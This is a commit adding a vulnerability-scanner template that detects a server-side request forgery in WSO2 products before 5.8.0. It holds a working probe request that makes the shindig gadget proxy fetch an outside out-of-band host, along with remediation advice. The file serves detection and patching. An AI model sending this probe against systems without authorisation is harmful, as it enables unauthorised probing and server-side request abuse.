Added WSO2 < 5.8.0 - Server Side Request Forgery (#4229)
parent
ac444ef17f
commit
5e58c8a1dc
|
@ -0,0 +1,28 @@
|
|||
id: WSO2-2019-0598
|
||||
|
||||
info:
|
||||
name: WSO2 < 5.8.0 - Server Side Request Forgery
|
||||
author: Amnotacat
|
||||
severity: critical
|
||||
description: |
|
||||
This vulnerability can be exploited by misusing the UI gadgets loading capability of the shindig web application. An attacker can alter a specific URL in the request causing the server to initiate a GET request to the altered URL.
|
||||
reference:
|
||||
- https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2019-0598
|
||||
remediation: |
|
||||
Upgrade the product version to 5.8.0 or higher which are not affected by this SSRF vulnerability.
|
||||
tags: ssrf,wso2,shindig
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/shindig/gadgets/proxy?container=default&url=http://oast.pro"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Interactsh Server"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue